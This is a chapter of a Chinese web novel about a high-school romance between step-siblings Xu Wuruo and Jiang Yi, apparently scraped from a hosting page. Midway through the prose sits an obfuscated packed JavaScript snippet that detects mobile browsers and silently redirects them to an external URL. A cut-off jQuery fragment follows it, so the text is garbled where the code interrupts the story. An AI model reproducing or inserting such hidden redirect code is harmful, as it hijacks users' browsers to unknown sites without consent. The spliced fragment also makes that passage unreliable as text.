22. 第 22 章

作品:《胭脂巷

    钟景棠下班后,赶去了一家茶室。这家私人茶室藏在一家独栋餐厅的一隅。


    透过落地窗,隐约看到室内柔和的灯光,为这个私人空间增添了几分雅致。


    一个男人西装革履,腕表名贵。


    茶室内部装饰不失格调,墙上挂着一幅意境深远的山水画。茶具是定制的,精细的工艺和独特的设计,让人估不出价格。


    “老萧,怎么来的那么早?”


    钟景棠见面前的人轻笑,他的声音低沉而有磁性:“公司的事暂时处理完了,便来早了。”


    萧凛生递给钟景棠一杯刚泡好的茶,泡茶手法熟练专业。


    钟景棠轻嗅茶香,小口品尝,茶水在口中回甘,他不禁赞叹:“好茶,这味道真是难得。”


    两个人在品茶,檀香萦绕,仿佛连时间都在这里慢了下来。


    “我今天...”钟景棠顿了顿,看向萧凛生,“在医院碰到了覃思。”


    萧凛生的眼底里闪过一丝异样,“她怎么了?”


    钟景棠又继续说:“她女儿崴脚,伤到韧带。”


    这些年发生的,萧凛生都不知情。


    “她女儿长得很像她,今年读高一。”


    十六岁,十六年。


    萧凛生和她在十六年前的那场春雨后分开,女儿在冬月出生。


    他不由得多想。


    /


    覃思坐在徐梧若的床上,看着她搭在床上的脚,心不由的一揪。


    她刚想说些什么,便听徐梧若道:“您可别说了,这几天听的可够多了。”


    覃思笑了,却带着些苦涩。


    “妈,我又没什么事,干嘛愁着脸?”


    “我女儿在医院,我这个当妈的还在国外……”


    “我还嫌你回来早了呢,那你给我带东西没?”


    覃思指了指书桌上的那堆东西,“早就买了,有些是你姜叔叔让我带回来给你们两个的。”


    “谢谢妈妈,谢谢姜叔叔。”


    ......


    徐梧若买了个床上小书桌,方便她学习。


    姜峄搬着椅子坐在她旁边,帮她辅导。


    “姜叔叔给你带了什么?”


    他给徐梧若带了一条做工精细的围巾,她非常喜欢上面晕染的颜色,而且面料极为舒服。


    “我最喜欢的赛车手的签名。”


    卧槽。


    姜峄见徐梧若眼神低垂,“干嘛,心情不好?”


    “你哪里看出来我心情不好,如果我有偶像我也要签名。”


    “不如我当你偶像,现在签个名给你?”姜峄说罢,接过徐梧若放在桌上的草稿纸,还真签了个名字上去。


    他写字的时候,无意间看见背面有句话——


    “北风吹酒天始愁,玉雪满空心自怿*。”


    他无言地算着数,只是多看了几眼那一句诗。


    “你有喜欢的人吗?”


    徐梧若听他突然冒出这句话,被吓一跳。


    “干嘛突然问这个?”


    姜峄见她的脸上带着几分惊慌,又隐约几分红晕,笑了笑。


    “那就是有。”


    徐梧若顿了一下,又小声嘀咕:“以前有。”


    只是初中的时候下了一场短暂的雨,朦胧的情愫,也许不能称之为喜欢。


    “名字叫什么,我认识吗?”


    “问那么多干嘛?”徐梧若瞪他。


    “哥哥关心妹妹还有错了?”


    “我们学校的?”


    “不是。”


    “那你现在还喜欢他吗?”


    “早就不喜欢了……你怎么那么八卦,快教我这道题,我没有思路。”


    考试前一个星期,徐梧若拄着拐杖回学校了。


    班里和她交好的同学,见着徐梧若,都会关心一下她那条裹着白绷带的腿。


    班主任把她调到最后一排,方便进出。


    赵泽昱和梁方豪走到教室后门,瞧见徐梧若的拐杖倚靠在墙边,人坐着,盖着外套准备入睡。


    “徐妹妹,这都要撑着回学校啊,如果不是姜峄说你回来了我还不信。”


    “在家好无聊。”


    “你哥说你中午不回宿舍午休,待在教室里?”


    徐梧若点头。


    “姜峄说他中午打饭给你,你也别跑饭堂了,走来走去多麻烦。”


    “他吃完饭不是直接回宿舍吗?”


    “不啊,他现在一下课就去吃饭,然后再回教室刷题,反正我们教室楼层矮。”


    赵泽昱见还有几分钟上课,便想拉着梁方豪回高三教学楼,谁知道见他和张思缪聊的热火朝天。


    “怪不得说也要来看徐妹妹呢,你小子心思不纯啊。”


    ……


    中午,徐梧若在教室里坐着。今天出奇地只有她一个人待在教室。


    光映在窗帘上,后门关着,怕冷风吹进来。很舒服的环境,她写了几道题后,趴下睡着了。


    姜峄进门的时候,见教室里只有她一个人,徐梧若坐在角落里,肩上盖着校服外套。


    他把饭盒拿出来,在小房间里找了张闲置的凳子,坐在徐梧若旁边。


    姜峄见徐梧若还没动,掀开她的校服外套,“起床吃饭。”


    她只是应了一声,眼睛还紧闭着。


    “吃完再睡。”


    徐梧若意识模糊,但能听出来是姜峄的声音,她连忙抬头,发现他给自己找了张凳子坐着写题。


    “你坐在这干嘛?”


    “等你吃完我再走。”


    “为什么?”


    “就你这腿我还得你洗碗?那么冷的天,让你洗我可就罪过了。”


    姜峄腿长,坐在凳子上很难写字,徐梧若见,“你坐我位置上吧,我和思缪说一声坐她座位上。”


    他没拒绝,徐梧若看到张思缪说没问题,便拿了几张草稿纸垫在饭盒底下,怕弄脏张思缪的桌子。


    她吃的有些快,目光时不时落在前门上,耳朵听着后门的动静。


    “干嘛,怕有人误会我?”


    姜峄见她一副怕被同班同学撞见的模样,笑了。


    “一男一女坐在教室总是不太好。”何况他们两个还穿着校服。


    “噢?是怎么个不好法?”


    姜峄忽然凑近,徐梧若侧过头,看着他那张白皙骨感的脸,心跳忽然加速。


    “你又脸红什么?”


    她是觉得有些热,没想到先红了脸。


    “教室有些闷。”


    “是吗…”姜峄说着,手臂搭在她的椅背上,“我也觉得有些热。”


    徐梧若看了眼自己身上裹得严严实实,干笑了笑。


    教室外偶尔传来说笑声,不过都是路过。


    姜峄见她吃完了保温盒里的饭菜,从书包里拿出一本笔记。


    “结合错题一起看,不懂的问我。”


    他说罢,拿走徐梧若面前的空保温盒,背起书包离开了。


    她翻了翻,里面都是试卷剪下来的错题,分门别类,题的背面有解题思路。


    姜峄的字挺好看又工整,有笔锋,怪不得他老是说自己的字像小学生写的。


    她翻开草稿纸,发现姜峄在上面写了一句诗:故山欲放雪中梅,空恨此中无铁石。*


    像是落了水,沉溺,又被人捞起。


    思绪万千终无言。


    /


    徐梧若的脚不方便,所以走读,因此她成了帮姜峄他们带早餐的跑腿。


    “不是,我腿都这样了怎么当跑腿?”


    “哎呀,所以我和姜峄还有周览、梁方豪一人一天去楼下接应你啦。”赵泽昱可不能放过吃校外早餐的机会。


    徐梧若想了想,反正早餐也是方姨买的,他们转钱给姜峄就好了。她又问张思缪要不要帮她带早餐。


    “你一个人会不会带太多了,拿不过来呀?”


    “不会呀,他们四个男生轮流在门口等我帮我拿上来的。”徐梧若回道。


    “好,那我每天转钱给你。”


    这几天,徐梧若带的每日早餐都是不一样的。今天早上的是肠粉。


    “这家店的肠粉好吃啊,比我家门口的还好吃。”赵泽昱赞不绝口。


    姜峄加了辣椒酱,梁方豪看见了,“你为什么有辣椒酱?”


    “我可是她哥,当然有。”


    “嘿—你。”


    后来梁方豪和赵泽昱去问徐梧若,她一脸呆滞,“我以为你们不吃辣,姜峄每次吃肠粉都加辣椒酱的。”


    考试前一天的早上,是周览帮徐梧若提早餐。


    早晨的天有些冷,昨夜温度骤降。徐梧若拄着拐杖,脚步缓慢,身上裹得严实。


    走到门口,见到周览推了推鼻梁上的镜框,两个人无言,徐梧若想找个话题。


    “我…”


    “我…”


    周览见徐梧若有话要说,便让她先说。


    “我想问一下,考试前你要看物理笔记吗?”


    周览有些意外,又不好意思地笑了笑:“你要吗,我回教室拿给你,但是可能有些潦草。”


    “那先谢谢你。”徐梧若说罢,忽然想起姜峄已经把他自己的笔记本借给了她,但是话已经说出口。


    “你刚刚想说什么?”她问道。


    周览只是摆摆手,“没什么。”


    他和徐梧若在楼梯口分别,看着徐梧若走进教室后,便把早餐拿去高三教学楼。


    没什么,只是想和她说说话罢了。


    早读下课,周览把笔记拿下楼给徐梧若。她拿到笔记后,认真地研究了一番,发现和姜峄的有相似之处,或者说两份笔记能提供不同的思路。


    而且最重要的是,这两份笔记集中了大部分的易错点和难点。


    考完物理的那天中午,徐梧若在小房间里收拾东西,没有看见姜峄提着饭盒进了教室。


    他坐在她的座位上,见桌上放着一本笔记本,姜峄以为是他的,便拿起来看。


    翻开第一页,便写着“梧桐更兼细雨”,第二页,姜峄认出来是周览的字。


    他合上,没有往下看了,放回原处。


    徐梧若收拾完东西,出来见姜峄坐在她椅子上,“你怎么今天那么早?”


    “来吃饭。”


    他的语气很平淡,徐梧若可能和他待久了,觉得他今天的神情与往日不太相同。


    “我的笔记呢?”她见姜峄眼神有些淡漠,从书包里拿出来,双手还给他。


    “保管的好好的,一页没少,完好无损。”


    “看了吗?”


    徐梧若本来想说,考试前来不及,她觉得周览的笔记比较能看懂一些,到后面就没看姜峄的笔记了。


    但她还是说:“看了。”


    是看了,但是不多。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123394|163980||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姜峄看出了她的迟疑,接过他的笔记本,没说什么。


    高一高二的学生考完期末考后便放假回家了,搬行李那天,覃思帮徐梧若去宿舍收拾行李。


    “你妹放假搬行李,你在球场干嘛?”梁方豪见姜峄在球场打球打的凶,问道。


    “我没空,而且又不需要我。”


    “谁惹他了?”赵泽昱小声问。


    梁方豪摇摇头。


    放假后几天,徐梧若发现自己有本教辅资料落在学校里。


    她看了看和姜峄的聊天框,发现好久没和他没联系过了。


    【你回家的时候能不能帮我去教室拿一本资料回来?{可怜}】


    【这周不回家。】


    徐梧若刚想说些什么,又见弹出来一条新的信息:【不能找别人借?】


    【我找谁?】


    【周览不是和你一个小区?】


    她想了想,确实找周览借方便一点,她回:【是哦,那不麻烦你了。】


    姜峄见,手机失手一扔,没控制好力度,在床板上砰的一声。


    “抱歉,没吓着你吧。”姜峄对着赵泽昱说。


    赵泽昱是他的下铺,确实被他吓一跳,只道没事,心里又想着这哥怎么最近脾气那么反常,前所未有。


    直到高三的学生放假回家,徐梧若也没有和姜峄聊过天。


    分班结果出来了,徐梧若和张思缪还是留在六班,一中有十八个班,一到十三班是理科班,十四到十八班是文科班。


    结果她一问,周览也在六班。真是太巧了。


    连妍放寒假回了临川市,她和陈淮安一起到家里看徐梧若。


    “怎么崴脚崴成这样?”


    “很快好了,没事的。”


    他们讨论了分班,陈淮安选了文科,因为他的历史和地理成绩好,理科成绩不行。


    “妍妍,你怎么好像瘦了?”


    “别提了,在那个高中简直受折磨,精神和□□一起!”


    “你看陈淮安就不一样,他好像又圆润了。”


    “哪有.....”


    徐梧若的腿还要养半个月,所以不经常出门。


    倒是姜峄,天寒地冻的,在家经常不见人影。


    “你哥去哪里了?”覃思见中午就她和徐梧若吃饭,问道。


    “不知道他。”


    姜峄此时在赵泽昱那儿。他摊在赵泽昱家的沙发上,和他吃着外卖。


    “大哥,你有家不回,跑来我这吃什么外卖,家常菜不香吗?”


    赵泽昱转念一想,又问:“你和徐妹妹吵架了?”


    这是唯一的可能性。


    “不算。”姜峄想了想,只是他的心情忽高忽低,也不关徐梧若的事。


    “你…来大姨夫了?”


    姜峄扫了他一眼,继续看着屏幕上放映的电影。


    “姜峄,我怎么觉得你每次见徐妹妹和周览走在一起,脸色就不太好。”


    赵泽昱的话语落下,姜峄心里一顿。


    “我是她哥。”


    “你是她哥怎么了,那也不能阻止人家找对象谈恋爱,虽然哥哥确实舍不得妹妹……”


    似有一把钝刀锯着内心无形的锁链,每一下都沉重而缓慢。


    晚上七点,姜峄站在别墅门口,见整栋楼黑着灯,觉得有些奇怪。


    徐梧若出门了?


    他进了家门,客厅没开灯,上了二楼,徐梧若的房门也是开着的。


    【那么冷的天,去哪?】


    姜峄坐在房间里,五分钟后,徐梧若没回。


    他又下楼,路过沙发的时候,发现徐梧若缩在角落里睡着了。


    傻子。


    姜峄拿过一个枕头,小心地垫在她的后脑勺处,又拿了一张厚毯子盖在她身上。


    他坐在另一张沙发上,看着徐梧若的脸。


    月光透过落地窗,照进来,似乎光都聚焦在她身上。


    不知过了多久,徐梧若醒了,她感觉到暖意,眉头舒展,发现自己的身上盖着厚毯子。


    她把客厅的灯打开,倒了杯水,发现姜峄从楼上下来。


    “你什么时候回来的?”


    “七点。”


    姜峄走进,他从冰箱里拿了瓶苏打水。


    “你最近是不是在躲我?”


    他听到这番话,挑眉,走近了一些。


    “躲你?有什么好躲的。”


    “我觉得你在疏远我。”


    姜峄的手撑在大理石台上,徐梧若的腰侧。


    “我为什么要疏远你?”


    “我怎么知道?”


    徐梧若见他没有回应自己的话,转身要走,她便扯着他的外套衣袖,“明天帮我辅导!”


    “不准说没空,不然我告诉姜叔叔你早恋。”


    姜峄觉得好笑,他转身,“谁早恋了,妹妹,我去的是赵泽昱家。”


    徐梧若一脸震惊,盯着姜峄。


    她的脑袋被轻拍了一下,“小脑瓜子想什么乱七八糟的?”


    “那你答不答应?”


    “哦。”他应的很勉强,随即回了房间。


    其实姜峄也不知道要怎么解释他的心情起伏。


    他只是一个哥哥的身份,为什么要介意妹妹和自己的好兄弟走得近。


    这一切就像开始无声地偏离轨道,连他自己也说不清道不明。